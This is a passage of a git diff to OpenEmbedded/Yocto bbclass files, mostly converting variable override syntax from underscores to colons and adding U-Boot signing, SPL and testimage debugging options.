${libdir}/${BPN}/ptest \
"
@@ -77,7 +82,7 @@ python sysroot_strip () {
pn = d.getVar('PN')
libdir = d.getVar("libdir")
base_libdir = d.getVar("base_libdir")
- qa_already_stripped = 'already-stripped' in (d.getVar('INSANE_SKIP_' + pn) or "").split()
+ qa_already_stripped = 'already-stripped' in (d.getVar('INSANE_SKIP:' + pn) or "").split()
strip_cmd = d.getVar("STRIP")
oe.package.strip_execs(pn, dstdir, strip_cmd, libdir, base_libdir, d,
@@ -85,7 +90,6 @@ python sysroot_strip () {
}
do_populate_sysroot[dirs] = "${SYSROOT_DESTDIR}"
-do_populate_sysroot[umask] = "022"
addtask populate_sysroot after do_install
@@ -114,8 +118,8 @@ do_populate_sysroot[vardeps] += "${SYSROOT_PREPROCESS_FUNCS}"
do_populate_sysroot[vardepsexclude] += "MULTI_PROVIDER_WHITELIST"
POPULATESYSROOTDEPS = ""
-POPULATESYSROOTDEPS_class-target = "virtual/${MLPREFIX}${TARGET_PREFIX}binutils:do_populate_sysroot"
-POPULATESYSROOTDEPS_class-nativesdk = "virtual/${TARGET_PREFIX}binutils-crosssdk:do_populate_sysroot"
+POPULATESYSROOTDEPS:class-target = "virtual/${MLPREFIX}${TARGET_PREFIX}binutils:do_populate_sysroot"
+POPULATESYSROOTDEPS:class-nativesdk = "virtual/${TARGET_PREFIX}binutils-crosssdk:do_populate_sysroot"
do_populate_sysroot[depends] += "${POPULATESYSROOTDEPS}"
SSTATETASKS += "do_populate_sysroot"
@@ -302,6 +306,7 @@ python extend_recipe_sysroot() {
sstatetasks = d.getVar("SSTATETASKS").split()
# Add recipe specific tasks referenced by setscene_depvalid()
sstatetasks.append("do_stash_locale")
+ sstatetasks.append("do_deploy")
def print_dep_tree(deptree):
data = ""
@@ -405,7 +410,7 @@ python extend_recipe_sysroot() {
if os.path.islink(f) and not os.path.exists(f):
bb.note("%s no longer exists, removing from sysroot" % f)
lnk = os.readlink(f.replace(".complete", ""))
- sstate_clean_manifest(depdir + "/" + lnk, d, workdir)
+ sstate_clean_manifest(depdir + "/" + lnk, d, canrace=True, prefix=workdir)
os.unlink(f)
os.unlink(f.replace(".complete", ""))
@@ -450,7 +455,7 @@ python extend_recipe_sysroot() {
fl = depdir + "/" + l
bb.note("Task %s no longer depends on %s, removing from sysroot" % (mytaskname, l))
lnk = os.readlink(fl)
- sstate_clean_manifest(depdir + "/" + lnk, d, workdir)
+ sstate_clean_manifest(depdir + "/" + lnk, d, canrace=True, prefix=workdir)
os.unlink(fl)
os.unlink(fl + ".complete")
@@ -471,7 +476,7 @@ python extend_recipe_sysroot() {
continue
else:
bb.note("%s exists in sysroot, but is stale (%s vs. %s), removing." % (c, lnk, c + "." + taskhash))
- sstate_clean_manifest(depdir + "/" + lnk, d, workdir)
+ sstate_clean_manifest(depdir + "/" + lnk, d, canrace=True, prefix=workdir)
os.unlink(depdir + "/" + c)
if os.path.lexists(depdir + "/" + c + ".complete"):
os.unlink(depdir + "/" + c + ".complete")
@@ -615,7 +620,7 @@ python staging_taskhandler() {
for task in bbtasks:
deps = d.getVarFlag(task, "depends")
if task == "do_configure" or (deps and "populate_sysroot" in deps):
- d.appendVarFlag(task, "prefuncs", " extend_recipe_sysroot")
+ d.prependVarFlag(task, "prefuncs", "extend_recipe_sysroot ")
}
staging_taskhandler[eventmask] = "bb.event.RecipeTaskPreProcess"
addhandler staging_taskhandler
diff --git a/meta/classes/systemd-boot.bbclass b/meta/classes/systemd-boot.bbclass
index 336c4c2ff5..57ec0acbc5 100644
--- a/meta/classes/systemd-boot.bbclass
+++ b/meta/classes/systemd-boot.bbclass
@@ -28,7 +28,7 @@ efi_populate() {
done
}
-efi_iso_populate_append() {
+efi_iso_populate:append() {
cp -r $iso_dir/loader ${EFIIMGDIR}
}
diff --git a/meta/classes/systemd.bbclass b/meta/classes/systemd.bbclass
index 9e8a82c9f1..09ec52792d 100644
--- a/meta/classes/systemd.bbclass
+++ b/meta/classes/systemd.bbclass
@@ -1,9 +1,9 @@
# The list of packages that should have systemd packaging scripts added. For
-# each entry, optionally have a SYSTEMD_SERVICE_[package] that lists the service
+# each entry, optionally have a SYSTEMD_SERVICE:[package] that lists the service
# files in this package. If this variable isn't set, [package].service is used.
SYSTEMD_PACKAGES ?= "${PN}"
-SYSTEMD_PACKAGES_class-native ?= ""
-SYSTEMD_PACKAGES_class-nativesdk ?= ""
+SYSTEMD_PACKAGES:class-native ?= ""
+SYSTEMD_PACKAGES:class-nativesdk ?= ""
# Whether to enable or disable the services on installation.
SYSTEMD_AUTO_ENABLE ??= "enable"
@@ -23,7 +23,7 @@ python __anonymous() {
}
systemd_postinst() {
-if type systemctl >/dev/null 2>/dev/null; then
+if systemctl >/dev/null 2>/dev/null; then
OPTS=""
if [ -n "$D" ]; then
@@ -48,7 +48,7 @@ fi
}
systemd_prerm() {
-if type systemctl >/dev/null 2>/dev/null; then
+if systemctl >/dev/null 2>/dev/null; then
if [ -z "$D" ]; then
systemctl stop ${SYSTEMD_SERVICE_ESCAPED}
@@ -70,7 +70,7 @@ python systemd_populate_packages() {
return
def get_package_var(d, var, pkg):
- val = (d.getVar('%s_%s' % (var, pkg)) or "").strip()
+ val = (d.getVar('%s:%s' % (var, pkg)) or "").strip()
if val == "":
val = (d.getVar(var) or "").strip()
return val
@@ -85,39 +85,39 @@ python systemd_populate_packages() {
def systemd_generate_package_scripts(pkg):
bb.debug(1, 'adding systemd calls to postinst/postrm for %s' % pkg)
- paths_escaped = ' '.join(shlex.quote(s) for s in d.getVar('SYSTEMD_SERVICE_' + pkg).split())
- d.setVar('SYSTEMD_SERVICE_ESCAPED_' + pkg, paths_escaped)
+ paths_escaped = ' '.join(shlex.quote(s) for s in d.getVar('SYSTEMD_SERVICE:' + pkg).split())
+ d.setVar('SYSTEMD_SERVICE_ESCAPED:' + pkg, paths_escaped)
- # Add pkg to the overrides so that it finds the SYSTEMD_SERVICE_pkg
+ # Add pkg to the overrides so that it finds the SYSTEMD_SERVICE:pkg
# variable.
localdata = d.createCopy()
localdata.prependVar("OVERRIDES", pkg + ":")
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if not postinst:
postinst = '#!/bin/sh\n'
postinst += localdata.getVar('systemd_postinst')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
- prerm = d.getVar('pkg_prerm_%s' % pkg)
+ prerm = d.getVar('pkg_prerm:%s' % pkg)
if not prerm:
prerm = '#!/bin/sh\n'
prerm += localdata.getVar('systemd_prerm')
- d.setVar('pkg_prerm_%s' % pkg, prerm)
+ d.setVar('pkg_prerm:%s' % pkg, prerm)
- # Add files to FILES_*-systemd if existent and not already done
+ # Add files to FILES:*-systemd if existent and not already done
def systemd_append_file(pkg_systemd, file_append):
appended = False
if os.path.exists(oe.path.join(d.getVar("D"), file_append)):
- var_name = "FILES_" + pkg_systemd
+ var_name = "FILES:" + pkg_systemd
files = d.getVar(var_name, False) or ""
if file_append not in files.split():
d.appendVar(var_name, " " + file_append)
appended = True
return appended
- # Add systemd files to FILES_*-systemd, parse for Also= and follow recursive
+ # Add systemd files to FILES:*-systemd, parse for Also= and follow recursive
def systemd_add_files_and_parse(pkg_systemd, path, service, keys):
# avoid infinite recursion
if systemd_append_file(pkg_systemd, oe.path.join(path, service)):
@@ -174,31 +174,32 @@ python systemd_populate_packages() {
if path_found != '':
systemd_add_files_and_parse(pkg_systemd, path_found, service, keys)
else:
- bb.fatal("SYSTEMD_SERVICE_%s value %s does not exist" % (pkg_systemd, service))
+ bb.fatal("Didn't find service unit '{0}', specified in SYSTEMD_SERVICE:{1}. {2}".format(
+ service, pkg_systemd, "Also looked for service unit '{0}'.".format(base) if base is not None else ""))
def systemd_create_presets(pkg, action):
presetf = oe.path.join(d.getVar("PKGD"), d.getVar("systemd_unitdir"), "system-preset/98-%s.preset" % pkg)
bb.utils.mkdirhier(os.path.dirname(presetf))
with open(presetf, 'a') as fd:
- for service in d.getVar('SYSTEMD_SERVICE_%s' % pkg).split():
+ for service in d.getVar('SYSTEMD_SERVICE:%s' % pkg).split():
fd.write("%s %s\n" % (action,service))
- d.appendVar("FILES_%s" % pkg, ' ' + oe.path.join(d.getVar("systemd_unitdir"), "system-preset/98-%s.preset" % pkg))
+ d.appendVar("FILES:%s" % pkg, ' ' + oe.path.join(d.getVar("systemd_unitdir"), "system-preset/98-%s.preset" % pkg))
# Run all modifications once when creating package
if os.path.exists(d.getVar("D")):
for pkg in d.getVar('SYSTEMD_PACKAGES').split():
systemd_check_package(pkg)
- if d.getVar('SYSTEMD_SERVICE_' + pkg):
+ if d.getVar('SYSTEMD_SERVICE:' + pkg):
systemd_generate_package_scripts(pkg)
action = get_package_var(d, 'SYSTEMD_AUTO_ENABLE', pkg)
if action in ("enable", "disable"):
systemd_create_presets(pkg, action)
elif action not in ("mask", "preset"):
- bb.fatal("SYSTEMD_AUTO_ENABLE_%s '%s' is not 'enable', 'disable', 'mask' or 'preset'" % (pkg, action))
+ bb.fatal("SYSTEMD_AUTO_ENABLE:%s '%s' is not 'enable', 'disable', 'mask' or 'preset'" % (pkg, action))
systemd_check_services()
}
-PACKAGESPLITFUNCS_prepend = "systemd_populate_packages "
+PACKAGESPLITFUNCS:prepend = "systemd_populate_packages "
python rm_systemd_unitdir (){
import shutil
@@ -226,7 +227,7 @@ python rm_sysvinit_initddir (){
}
do_install[postfuncs] += "${RMINITDIR} "
-RMINITDIR_class-target = " rm_sysvinit_initddir rm_systemd_unitdir "
-RMINITDIR_class-nativesdk = " rm_sysvinit_initddir rm_systemd_unitdir "
+RMINITDIR:class-target = " rm_sysvinit_initddir rm_systemd_unitdir "
+RMINITDIR:class-nativesdk = " rm_sysvinit_initddir rm_systemd_unitdir "
RMINITDIR = ""
diff --git a/meta/classes/terminal.bbclass b/meta/classes/terminal.bbclass
index 6059ae95e0..a564ee7494 100644
--- a/meta/classes/terminal.bbclass
+++ b/meta/classes/terminal.bbclass
@@ -26,6 +26,9 @@ def emit_terminal_func(command, envdata, d):
bb.utils.mkdirhier(os.path.dirname(runfile))
with open(runfile, 'w') as script:
+ # Override the shell shell_trap_code specifies.
+ # If our shell is bash, we might well face silent death.
+ script.write("#!/bin/bash\n")
script.write(bb.build.shell_trap_code())
bb.data.emit_func(cmd_func, script, envdata)
script.write(cmd_func)
@@ -37,7 +40,7 @@ def emit_terminal_func(command, envdata, d):
def oe_terminal(command, title, d):
import oe.data
import oe.terminal
-
+
envdata = bb.data.init()
for v in os.environ:
diff --git a/meta/classes/testimage.bbclass b/meta/classes/testimage.bbclass
index 78da4b09bd..1c5fd4ee6a 100644
--- a/meta/classes/testimage.bbclass
+++ b/meta/classes/testimage.bbclass
@@ -36,6 +36,7 @@ TESTIMAGE_AUTO ??= "0"
# TEST_OVERALL_TIMEOUT can be used to set the maximum time in seconds the tests will be allowed to run (defaults to no limit).
# TEST_QEMUPARAMS can be used to pass extra parameters to qemu, e.g. "-m 1024" for setting the amount of ram to 1 GB.
# TEST_RUNQEMUPARAMS can be used to pass extra parameters to runqemu, e.g. "gl" to enable OpenGL acceleration.
+# QEMU_USE_KVM can be set to "" to disable the use of kvm (by default it is enabled if target_arch == build_arch or both of them are x86 archs)
# TESTIMAGE_BOOT_PATTERNS can be used to override certain patterns used to communicate with the target when booting,
# if a pattern is not specifically present on this variable a default will be used when booting the target.
@@ -60,23 +61,22 @@ BASICTESTSUITE = "\
ping date df ssh scp python perl gi ptest parselogs \
logrotate connman systemd oe_syslog pam stap ldd xorg \
kernelmodule gcc buildcpio buildlzip buildgalculator \
- dnf rpm opkg apt weston"
+ dnf rpm opkg apt weston go rust"
DEFAULT_TEST_SUITES = "${BASICTESTSUITE}"
-# aarch64 has no graphics
-DEFAULT_TEST_SUITES_remove_aarch64 = "xorg"
# musl doesn't support systemtap
-DEFAULT_TEST_SUITES_remove_libc-musl = "stap"
+DEFAULT_TEST_SUITES:remove:libc-musl = "stap"
# qemumips is quite slow and has reached the timeout limit several times on the YP build cluster,
# mitigate this by removing build tests for qemumips machines.
MIPSREMOVE ??= "buildcpio buildlzip buildgalculator"
-DEFAULT_TEST_SUITES_remove_qemumips = "${MIPSREMOVE}"
-DEFAULT_TEST_SUITES_remove_qemumips64 = "${MIPSREMOVE}"
+DEFAULT_TEST_SUITES:remove:qemumips = "${MIPSREMOVE}"
+DEFAULT_TEST_SUITES:remove:qemumips64 = "${MIPSREMOVE}"
TEST_SUITES ?= "${DEFAULT_TEST_SUITES}"
+QEMU_USE_KVM ?= "1"
TEST_QEMUBOOT_TIMEOUT ?= "1000"
TEST_OVERALL_TIMEOUT ?= ""
TEST_TARGET ?= "qemu"
@@ -86,7 +86,7 @@ TEST_RUNQEMUPARAMS ?= ""
TESTIMAGE_BOOT_PATTERNS ?= ""
TESTIMAGEDEPENDS = ""
-TESTIMAGEDEPENDS_append_qemuall = " qemu-native:do_populate_sysroot qemu-helper-native:do_populate_sysroot qemu-helper-native:do_addto_recipe_sysroot"
+TESTIMAGEDEPENDS:append:qemuall = " qemu-native:do_populate_sysroot qemu-helper-native:do_populate_sysroot qemu-helper-native:do_addto_recipe_sysroot"
TESTIMAGEDEPENDS += "${@bb.utils.contains('IMAGE_PKGTYPE', 'rpm', 'cpio-native:do_populate_sysroot', '', d)}"
TESTIMAGEDEPENDS += "${@bb.utils.contains('IMAGE_PKGTYPE', 'rpm', 'dnf-native:do_populate_sysroot', '', d)}"
TESTIMAGEDEPENDS += "${@bb.utils.contains('IMAGE_PKGTYPE', 'rpm', 'createrepo-c-native:do_populate_sysroot', '', d)}"
@@ -94,7 +94,7 @@ TESTIMAGEDEPENDS += "${@bb.utils.contains('IMAGE_PKGTYPE', 'ipk', 'opkg-utils-na
TESTIMAGEDEPENDS += "${@bb.utils.contains('IMAGE_PKGTYPE', 'deb', 'apt-native:do_populate_sysroot package-index:do_package_index', '', d)}"
TESTIMAGELOCK = "${TMPDIR}/testimage.lock"
-TESTIMAGELOCK_qemuall = ""
+TESTIMAGELOCK:qemuall = ""
TESTIMAGE_DUMP_DIR ?= "${LOG_DIR}/runtime-hostdump/"
@@ -127,6 +127,12 @@ testimage_dump_host () {
netstat -an
}
+testimage_dump_monitor () {
+ query-status
+ query-block
+ dump-guest-memory {"paging":false,"protocol":"file:%s.img"}
+}
+
python do_testimage() {
testimage_main(d)
}
@@ -195,6 +201,7 @@ def testimage_main(d):
import json
import signal
import logging
+ import shutil
from bb.utils import export_proxies
from oeqa.core.utils.misc import updateTestData
@@ -230,9 +237,10 @@ def testimage_main(d):
tdname = "%s.testdata.json" % image_name
try:
- td = json.load(open(tdname, "r"))
- except (FileNotFoundError) as err:
- bb.fatal('File %s Not Found. Have you built the image with INHERIT+="testimage" in the conf/local.conf?' % tdname)
+ with open(tdname, "r") as f:
+ td = json.load(f)
+ except FileNotFoundError as err:
+ bb.fatal('File %s not found (%s).\nHave you built the image with INHERIT += "testimage" in the conf/local.conf?' % (tdname, err))
# Some variables need to be updates (mostly paths) with the
# ones of the current environment because some tests require them.
@@ -305,20 +313,18 @@ def testimage_main(d):
'dump_dir' : d.getVar("TESTIMAGE_DUMP_DIR"),
'serial_ports': len(d.getVar("SERIAL_CONSOLES").split()),
'ovmf' : ovmf,
+ 'tmpfsdir' : d.getVar("RUNQEMU_TMPFS_DIR"),
}
if d.getVar("TESTIMAGE_BOOT_PATTERNS"):
target_kwargs['boot_patterns'] = get_testimage_boot_patterns(d)
- # TODO: Currently BBPATH is needed for custom loading of targets.
- # It would be better to find these modules using instrospection.
- target_kwargs['target_modules_path'] = d.getVar('BBPATH')
-
# hardware controlled targets might need further access
target_kwargs['powercontrol_cmd'] = d.getVar("TEST_POWERCONTROL_CMD") or None
target_kwargs['powercontrol_extra_args'] = d.getVar("TEST_POWERCONTROL_EXTRA_ARGS") or ""
target_kwargs['serialcontrol_cmd'] = d.getVar("TEST_SERIALCONTROL_CMD") or None
target_kwargs['serialcontrol_extra_args'] = d.getVar("TEST_SERIALCONTROL_EXTRA_ARGS") or ""
+ target_kwargs['testimage_dump_monitor'] = d.getVar("testimage_dump_monitor") or ""
target_kwargs['testimage_dump_target'] = d.getVar("testimage_dump_target") or ""
def export_ssh_agent(d):
@@ -400,10 +406,17 @@ def testimage_main(d):
get_testimage_result_id(configuration),
dump_streams=d.getVar('TESTREPORT_FULLLOGS'))
results.logSummary(pn)
+
+ # Copy additional logs to tmp/log/oeqa so it's easier to find them
+ targetdir = os.path.join(get_testimage_json_result_dir(d), d.getVar("PN"))
+ os.makedirs(targetdir, exist_ok=True)
+ os.symlink(bootlog, os.path.join(targetdir, os.path.basename(bootlog)))
+ os.symlink(d.getVar("BB_LOGFILE"), os.path.join(targetdir, os.path.basename(d.getVar("BB_LOGFILE") + "." + d.getVar('DATETIME'))))
+
if not results or not complete:
- bb.fatal('%s - FAILED - tests were interrupted during execution' % pn, forcelog=True)
+ bb.fatal('%s - FAILED - tests were interrupted during execution, check the logs in %s' % (pn, d.getVar("LOG_DIR")), forcelog=True)
if not results.wasSuccessful():
- bb.fatal('%s - FAILED - check the task log and the ssh log' % pn, forcelog=True)
+ bb.fatal('%s - FAILED - also check the logs in %s' % (pn, d.getVar("LOG_DIR")), forcelog=True)
def get_runtime_paths(d):
"""
diff --git a/meta/classes/texinfo.bbclass b/meta/classes/texinfo.bbclass
index f46bacabd4..68c9d4fb70 100644
--- a/meta/classes/texinfo.bbclass
+++ b/meta/classes/texinfo.bbclass
@@ -7,12 +7,12 @@
# makeinfo from SANITY_REQUIRED_UTILITIES.
TEXDEP = "${@bb.utils.contains('DISTRO_FEATURES', 'api-documentation', 'texinfo-replacement-native', 'texinfo-dummy-native', d)}"
-TEXDEP_class-native = "texinfo-dummy-native"
-TEXDEP_class-cross = "texinfo-dummy-native"
-TEXDEP_class-crosssdk = "texinfo-dummy-native"
-TEXDEP_class-cross-canadian = "texinfo-dummy-native"
-DEPENDS_append = " ${TEXDEP}"
+TEXDEP:class-native = "texinfo-dummy-native"
+TEXDEP:class-cross = "texinfo-dummy-native"
+TEXDEP:class-crosssdk = "texinfo-dummy-native"
+TEXDEP:class-cross-canadian = "texinfo-dummy-native"
+DEPENDS:append = " ${TEXDEP}"
# libtool-cross doesn't inherit cross
-TEXDEP_pn-libtool-cross = "texinfo-dummy-native"
+TEXDEP:pn-libtool-cross = "texinfo-dummy-native"
diff --git a/meta/classes/toaster.bbclass b/meta/classes/toaster.bbclass
index 9518ddf7a4..dd5c7f224b 100644
--- a/meta/classes/toaster.bbclass
+++ b/meta/classes/toaster.bbclass
@@ -106,7 +106,7 @@ def _toaster_load_pkgdatafile(dirpath, filepath):
pkgdata['OPKGN'] = m.group(1)
kn = "_".join([x for x in kn.split("_") if x.isupper()])
pkgdata[kn] = kv.strip()
- if kn == 'FILES_INFO':
+ if kn.startswith('FILES_INFO'):
pkgdata[kn] = json.loads(kv)
except ValueError:
diff --git a/meta/classes/toolchain-scripts.bbclass b/meta/classes/toolchain-scripts.bbclass
index db1d3215ef..fb6261c91d 100644
--- a/meta/classes/toolchain-scripts.bbclass
+++ b/meta/classes/toolchain-scripts.bbclass
@@ -3,11 +3,13 @@ inherit toolchain-scripts-base siteinfo kernel-arch
# We want to be able to change the value of MULTIMACH_TARGET_SYS, because it
# doesn't always match our expectations... but we default to the stock value
REAL_MULTIMACH_TARGET_SYS ?= "${MULTIMACH_TARGET_SYS}"
-TARGET_CC_ARCH_append_libc-musl = " -mmusl"
+TARGET_CC_ARCH:append:libc-musl = " -mmusl"
# default debug prefix map isn't valid in the SDK
DEBUG_PREFIX_MAP = ""
+EXPORT_SDK_PS1 = "${@ 'export PS1=\'%s\'' % d.getVar('SDK_PS1') if d.getVar('SDK_PS1') else ''}"
+
# This function creates an environment-setup-script for use in a deployable SDK
toolchain_create_sdk_env_script () {
# Create environment setup script. Remember that $SDKTARGETSYSROOT should
@@ -39,6 +41,7 @@ toolchain_create_sdk_env_script () {
echo ' return 1' >> $script
echo 'fi' >> $script
+ echo "${EXPORT_SDK_PS1}" >> $script
echo 'export SDKTARGETSYSROOT='"$sysroot" >> $script
EXTRAPATH=""
for i in ${CANADIANEXTRAOS}; do
@@ -62,6 +65,7 @@ toolchain_create_sdk_env_script () {
# This function creates an environment-setup-script in the TMPDIR which enables
# a OE-core IDE to integrate with the build tree
+# Caller must ensure CONFIG_SITE is setup
toolchain_create_tree_env_script () {
script=${TMPDIR}/environment-setup-${REAL_MULTIMACH_TARGET_SYS}
rm -f $script
@@ -70,7 +74,7 @@ toolchain_create_tree_env_script () {
echo 'export PATH=${STAGING_DIR_NATIVE}/usr/bin:${STAGING_BINDIR_TOOLCHAIN}:$PATH' >> $script
echo 'export PKG_CONFIG_SYSROOT_DIR=${PKG_CONFIG_SYSROOT_DIR}' >> $script
echo 'export PKG_CONFIG_PATH=${PKG_CONFIG_PATH}' >> $script
- echo 'export CONFIG_SITE="${@siteinfo_get_files(d)}"' >> $script
+ echo 'export CONFIG_SITE="${CONFIG_SITE}"' >> $script
echo 'export SDKTARGETSYSROOT=${STAGING_DIR_TARGET}' >> $script
echo 'export OECORE_NATIVE_SYSROOT="${STAGING_DIR_NATIVE}"' >> $script
echo 'export OECORE_TARGET_SYSROOT="${STAGING_DIR_TARGET}"' >> $script
@@ -158,7 +162,7 @@ EOF
}
#we get the cached site config in the runtime
-TOOLCHAIN_CONFIGSITE_NOCACHE = "${@siteinfo_get_files(d)}"
+TOOLCHAIN_CONFIGSITE_NOCACHE = "${@' '.join(siteinfo_get_files(d)[0])}"
TOOLCHAIN_CONFIGSITE_SYSROOTCACHE = "${STAGING_DIR}/${MLPREFIX}${MACHINE}/${target_datadir}/${TARGET_SYS}_config_site.d"
TOOLCHAIN_NEED_CONFIGSITE_CACHE ??= "virtual/${MLPREFIX}libc ncurses"
DEPENDS += "${TOOLCHAIN_NEED_CONFIGSITE_CACHE}"
diff --git a/meta/classes/uboot-config.bbclass b/meta/classes/uboot-config.bbclass
index 89ff970fcc..b9ad35821a 100644
--- a/meta/classes/uboot-config.bbclass
+++ b/meta/classes/uboot-config.bbclass
@@ -11,7 +11,79 @@
#
# Copyright 2013, 2014 (C) O.S. Systems Software LTDA.
+def removesuffix(s, suffix):
+ if suffix and s.endswith(suffix):
+ return s[:-len(suffix)]
+ return s
+
+# Some versions of u-boot use .bin and others use .img. By default use .bin
+# but enable individual recipes to change this value.
+UBOOT_SUFFIX ??= "bin"
UBOOT_BINARY ?= "u-boot.${UBOOT_SUFFIX}"
+UBOOT_BINARYNAME ?= "${@os.path.splitext(d.getVar("UBOOT_BINARY"))[0]}"
+UBOOT_IMAGE ?= "${UBOOT_BINARYNAME}-${MACHINE}-${PV}-${PR}.${UBOOT_SUFFIX}"
+UBOOT_SYMLINK ?= "${UBOOT_BINARYNAME}-${MACHINE}.${UBOOT_SUFFIX}"
+UBOOT_MAKE_TARGET ?= "all"
+
+# Output the ELF generated. Some platforms can use the ELF file and directly
+# load it (JTAG booting, QEMU) additionally the ELF can be used for debugging
+# purposes.
+UBOOT_ELF ?= ""
+UBOOT_ELF_SUFFIX ?= "elf"
+UBOOT_ELF_IMAGE ?= "u-boot-${MACHINE}-${PV}-${PR}.${UBOOT_ELF_SUFFIX}"
+UBOOT_ELF_BINARY ?= "u-boot.${UBOOT_ELF_SUFFIX}"
+UBOOT_ELF_SYMLINK ?= "u-boot-${MACHINE}.${UBOOT_ELF_SUFFIX}"
+
+# Some versions of u-boot build an SPL (Second Program Loader) image that
+# should be packaged along with the u-boot binary as well as placed in the
+# deploy directory. For those versions they can set the following variables
+# to allow packaging the SPL.
+SPL_SUFFIX ?= ""
+SPL_BINARY ?= ""
+SPL_DELIMITER ?= "${@'.' if d.getVar("SPL_SUFFIX") else ''}"
+SPL_BINARYFILE ?= "${@os.path.basename(d.getVar("SPL_BINARY"))}"
+SPL_BINARYNAME ?= "${@removesuffix(d.getVar("SPL_BINARYFILE"), "." + d.getVar("SPL_SUFFIX"))}"
+SPL_IMAGE ?= "${SPL_BINARYNAME}-${MACHINE}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX}"
+SPL_SYMLINK ?= "${SPL_BINARYNAME}-${MACHINE}${SPL_DELIMITER}${SPL_SUFFIX}"
+
+# Additional environment variables or a script can be installed alongside
+# u-boot to be used automatically on boot. This file, typically 'uEnv.txt'
+# or 'boot.scr', should be packaged along with u-boot as well as placed in the
+# deploy directory. Machine configurations needing one of these files should
+# include it in the SRC_URI and set the UBOOT_ENV parameter.
+UBOOT_ENV_SUFFIX ?= "txt"
+UBOOT_ENV ?= ""
+UBOOT_ENV_SRC_SUFFIX ?= "cmd"
+UBOOT_ENV_SRC ?= "${UBOOT_ENV}.${UBOOT_ENV_SRC_SUFFIX}"
+UBOOT_ENV_BINARY ?= "${UBOOT_ENV}.${UBOOT_ENV_SUFFIX}"
+UBOOT_ENV_IMAGE ?= "${UBOOT_ENV}-${MACHINE}-${PV}-${PR}.${UBOOT_ENV_SUFFIX}"
+UBOOT_ENV_SYMLINK ?= "${UBOOT_ENV}-${MACHINE}.${UBOOT_ENV_SUFFIX}"
+
+# Default name of u-boot initial env, but enable individual recipes to change
+# this value.
+UBOOT_INITIAL_ENV ?= "${PN}-initial-env"
+
+# U-Boot EXTLINUX variables. U-Boot searches for /boot/extlinux/extlinux.conf
+# to find EXTLINUX conf file.
+UBOOT_EXTLINUX_INSTALL_DIR ?= "/boot/extlinux"
+UBOOT_EXTLINUX_CONF_NAME ?= "extlinux.conf"
+UBOOT_EXTLINUX_SYMLINK ?= "${UBOOT_EXTLINUX_CONF_NAME}-${MACHINE}-${PR}"
+
+# Options for the device tree compiler passed to mkimage '-D' feature:
+UBOOT_MKIMAGE_DTCOPTS ??= ""
+SPL_MKIMAGE_DTCOPTS ??= ""
+
+# mkimage command
+UBOOT_MKIMAGE ?= "uboot-mkimage"
+UBOOT_MKIMAGE_SIGN ?= "${UBOOT_MKIMAGE}"
+
+# Arguments passed to mkimage for signing
+UBOOT_MKIMAGE_SIGN_ARGS ?= ""
+SPL_MKIMAGE_SIGN_ARGS ?= ""
+
+# Options to deploy the u-boot device tree
+UBOOT_DTB ?= ""
+UBOOT_DTB_BINARY ??= ""
python () {
ubootmachine = d.getVar("UBOOT_MACHINE")
diff --git a/meta/classes/uboot-extlinux-config.bbclass b/meta/classes/uboot-extlinux-config.bbclass
index f4bf94be04..dcebe7ff31 100644
--- a/meta/classes/uboot-extlinux-config.bbclass
+++ b/meta/classes/uboot-extlinux-config.bbclass
@@ -64,7 +64,7 @@ UBOOT_EXTLINUX_FDT ??= ""
UBOOT_EXTLINUX_FDTDIR ??= "../"
UBOOT_EXTLINUX_KERNEL_IMAGE ??= "../${KERNEL_IMAGETYPE}"
UBOOT_EXTLINUX_KERNEL_ARGS ??= "rootwait rw"
-UBOOT_EXTLINUX_MENU_DESCRIPTION_linux ??= "${DISTRO_NAME}"
+UBOOT_EXTLINUX_MENU_DESCRIPTION:linux ??= "${DISTRO_NAME}"
UBOOT_EXTLINUX_CONFIG = "${B}/extlinux.conf"
@@ -153,5 +153,6 @@ python do_create_extlinux_config() {
}
UBOOT_EXTLINUX_VARS = "CONSOLE MENU_DESCRIPTION ROOT KERNEL_IMAGE FDTDIR FDT KERNEL_ARGS INITRD"
do_create_extlinux_config[vardeps] += "${@' '.join(['UBOOT_EXTLINUX_%s_%s' % (v, l) for v in d.getVar('UBOOT_EXTLINUX_VARS').split() for l in d.getVar('UBOOT_EXTLINUX_LABELS').split()])}"
+do_create_extlinux_config[vardepsexclude] += "OVERRIDES"
addtask create_extlinux_config before do_install do_deploy after do_compile
diff --git a/meta/classes/uboot-sign.bbclass b/meta/classes/uboot-sign.bbclass
index 713196df41..8d136e9405 100644
--- a/meta/classes/uboot-sign.bbclass
+++ b/meta/classes/uboot-sign.bbclass
@@ -19,7 +19,7 @@
# The tasks sequence is set as below, using DEPLOY_IMAGE_DIR as common place to
# treat the device tree blob:
#
-# * u-boot:do_install_append
+# * u-boot:do_install:append
# Install UBOOT_DTB_BINARY to datadir, so that kernel can use it for
# signing, and kernel will deploy UBOOT_DTB_BINARY after signs it.
#
@@ -31,19 +31,81 @@
#
# For more details on signature process, please refer to U-Boot documentation.
-# Signature activation.
+# We need some variables from u-boot-config
+inherit uboot-config
+
+# Enable use of a U-Boot fitImage
+UBOOT_FITIMAGE_ENABLE ?= "0"
+
+# Signature activation - these require their respective fitImages
UBOOT_SIGN_ENABLE ?= "0"
+SPL_SIGN_ENABLE ?= "0"
# Default value for deployment filenames.
UBOOT_DTB_IMAGE ?= "u-boot-${MACHINE}-${PV}-${PR}.dtb"
UBOOT_DTB_BINARY ?= "u-boot.dtb"
UBOOT_DTB_SYMLINK ?= "u-boot-${MACHINE}.dtb"
-UBOOT_NODTB_IMAGE ?= "u-boot-nodtb-${MACHINE}-${PV}-${PR}.${UBOOT_SUFFIX}"
-UBOOT_NODTB_BINARY ?= "u-boot-nodtb.${UBOOT_SUFFIX}"
-UBOOT_NODTB_SYMLINK ?= "u-boot-nodtb-${MACHINE}.${UBOOT_SUFFIX}"
+UBOOT_NODTB_IMAGE ?= "u-boot-nodtb-${MACHINE}-${PV}-${PR}.bin"
+UBOOT_NODTB_BINARY ?= "u-boot-nodtb.bin"
+UBOOT_NODTB_SYMLINK ?= "u-boot-nodtb-${MACHINE}.bin"
+UBOOT_ITS_IMAGE ?= "u-boot-its-${MACHINE}-${PV}-${PR}"
+UBOOT_ITS ?= "u-boot.its"
+UBOOT_ITS_SYMLINK ?= "u-boot-its-${MACHINE}"
